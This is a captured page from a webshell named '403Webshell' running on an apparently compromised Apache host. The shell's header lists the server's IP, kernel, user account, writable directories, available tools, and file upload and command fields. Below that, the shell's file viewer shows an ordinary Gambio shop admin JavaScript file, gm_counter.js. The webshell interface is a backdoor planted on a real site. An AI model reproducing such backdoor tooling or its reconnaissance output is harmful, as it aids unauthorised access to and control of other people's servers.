403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/admin/javascript/legacy/gm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/admin/javascript/legacy/gm/gm_counter.js
/* gm_counter.js <?php
#   --------------------------------------------------------------
#   gm_counter.js 2018-06-15
#   Gambio GmbH
#   http://www.gambio.de
#   Copyright (c) 2018 Gambio GmbH
#   Released under the GNU General Public License (Version 2)
#   [http://www.gnu.org/licenses/gpl-2.0.html]
#
#   IMPORTANT! THIS FILE IS DEPRECATED AND WILL BE REPLACED IN THE FUTURE. 
#   MODIFY IT ONLY FOR FIXES. DO NOT APPEND IT WITH NEW FEATURES, USE THE
#   NEW GX-ENGINE LIBRARIES INSTEAD.
#   --------------------------------------------------------------
?>*/

// Compatibility menu handling 

$(document).ready(function () {
    $(document).on('click', '.nav-tab a', function () {
        var $parent = $(this).parents('.page-nav-tabs');

        if (navTabHtmlBackup != '') {
            $parent.find('.nav-tab').filter(function () {
                if ($(this).find('a').length == 0)
                    return true;
                else
                    return false;
            }).html(navTabHtmlBackup).removeClass('no-link');
        }

        navTabHtmlBackup = $(this).parent().html();
        $(this).parent().addClass('no-link');
        $(this).parent().text($(this).text());
    });

    $(document).on('click', '.tab-headline-wrapper a', function () {
        $(this).siblings('.active').removeClass('active');
        $(this).addClass('active');
    });

    // Fetch initial content for the page once the page compatibility mode is completely loaded.
    var interval = setInterval(function () {
        if ($('.page-nav-tabs .nav-tab').length > 0) {
            gm_get_content(pageSettings.initialContentUrl, "gm_counter_visitor", pageSettings.initialMenuUrl)
                .done(function () {
                    navTabHtmlBackup = $(".nav-tab:first").html();
                    $(".nav-tab:first").html($(".nav-tab:first a").text()).addClass("no-link");
                });
            clearInterval(interval);
        }
    }, 500);
});

function renew_bottom_save_bar() {
    $('.bottom-save-bar').text('');
    $('.main-bottom-footer').attr('data-gx-compatibility', 'bottom_save_bar');
    window.gx.compatibility.init();
}

/*
* -> load contents
*/
function gm_get_content(action, submenu, submenu_link, session_id, resetIndex, $targetContainer) {
    if (typeof resetIndex == 'undefined') resetIndex = true;
    var deferred = $.Deferred();

    action = action
        + '&gm_start=' + escape($("#start-date").val())
        + '&gm_end=' + escape($("#end-date").val())
        + '&gm_count=' + escape($("#gm_count").val())
        + '&gm_date=' + escape($("#gm_date").val())
        + '&gm_type=' + escape($("#gm_type").val());

    // -> get count
    var gm_count = $("#gm_count").val();
    var gm_page = $("#gm_page").val();

    if (gm_count != null) {
        action = action + '&gm_count=' + gm_count;
    }

    if (gm_page != null) {
        action = action + '&gm_page=' + gm_page;
    }

    // -> show image while loading
    if (submenu != "") {
        $("#gm_box_content").html('<img src="../images/loading.gif" WIDTH="16" HEIGHT="16" BORDER="0" ALT="loading">');
    }

    $('.main.gx-container > div').hide();

    if (typeof $targetContainer == 'undefined') {
        $targetContainer = $('#gm_box_content');
        $('.ui-tabs').show();
    } else {
        $targetContainer.show();
    }


    // -> load contents
    $targetContainer.load(action, '', function () {

        var dates = $("#start-date, #end-date").datepicker(
            {
                dayNamesMin: ['So', 'Mo', 'Di', 'Mi', 'Do', 'Fr', 'Sa'],
                monthNames: ['Januar', 'Februar', 'M&auml;rz', 'April', 'Mai', 'Juni', 'Juli', 'August', 'September', 'Oktober', 'November', 'Dezember'],
                firstDay: 1,
                dateFormat: 'yy-mm-dd',
                changeMonth: false,
                onSelect:
                    function (selectedDate) {
                        var option = this.id == "start-date" ? "minDate" : "maxDate",
                            instance = $(this).data("datepicker"),
                            date = $.datepicker.parseDate(
                                instance.settings.dateFormat ||
                                $.datepicker._defaults.dateFormat,
                                selectedDate, instance.settings);
                        dates.not(this).datepicker("option", option, date);
                    }
            }
        );

        var dates_conf = $("#gm_counter_date").datepicker(
            {
                dayNamesMin: ['So', 'Mo', 'Di', 'Mi', 'Do', 'Fr', 'Sa'],
                monthNames: ['Januar', 'Februar', 'M&auml;rz', 'April', 'Mai', 'Juni', 'Juli', 'August', 'September', 'Oktober', 'November', 'Dezember'],
                firstDay: 1,
                dateFormat: 'yy-mm-dd',
                changeMonth: false
            }
        );


        if (submenu != "") {
            $("#gm_box_submenu").show('fast');
            var index = (!resetIndex) ? $('.tab-headline-wrapper a.active').index() : 0;

            $("#gm_box_submenu").load(submenu_link, function () {
                $('.tab-headline-wrapper a:eq(' + index + ')').addClass('active');
            });
        } else {
            $("#gm_box_submenu").hide('fast');
        }
        renew_bottom_save_bar();

        deferred.resolve();
    });

    return deferred.promise();
}

/*
* -> load contents
*/
function gm_get_selected_content(action, submenu, submenu_link) {

    // -> get count
    var gm_count = $("#gm_select_count").val();
    var gm_page = $("#gm_page").val();

    if (gm_count != null) {
        action = action + '&gm_count=' + gm_count;
    }

    if (gm_page != null) {
        action = action + '&gm_page=' + gm_page;
    }

    // -> show image while loading
    $("#gm_box_content").html('<img src="../images/loading.gif" WIDTH="16" HEIGHT="16" BORDER="0" ALT="loading">');

    // -> load contents
    $("#gm_box_content").load(action, '', function () {

        if (submenu != "") {
            $("#gm_box_submenu").show('fast');
            $("#gm_box_submenu").load(submenu_link);
        } else {
            $("#gm_box_submenu").hide('fast');
        }
    });
}

/*
* -> update content 'get'
*/
function gm_update_boxes(action, box) {

    // -> show image while loading
    $("#gm_status").html('<img src="../images/loading.gif" WIDTH="16" HEIGHT="16" BORDER="0" ALT="loading">');
    var getString = '';
    $.each($('#gm_counter_form').get(0).elements, function (k, ele) {
        if (ele.id != '' && ele.id.search(/PICKER/) == -1) {
            getString = ele.id + "=" + escape(ele.value) + '&' + getString;
        }
    });
    getString = getString.substr(0, getString.length - 1);
    gm_fadein_boxes(box);
    $("#" + box).load(action + "&" + getString);
}

/*
* -> fade out boxes
*/
function gm_fadeout_boxes(box) {
    $("#" + box).fadeOut('normal');
}

/*
* -> hide boxes
*/
function gm_hide_boxes(box) {
    $("#" + box).hide('fast');
}


/*
* -> fade in boxes
*/
function gm_fadein_boxes(box) {
    $("#" + box).fadeIn('normal');
}

Youez - 2016 - github.com/yon3zu
LinuXploit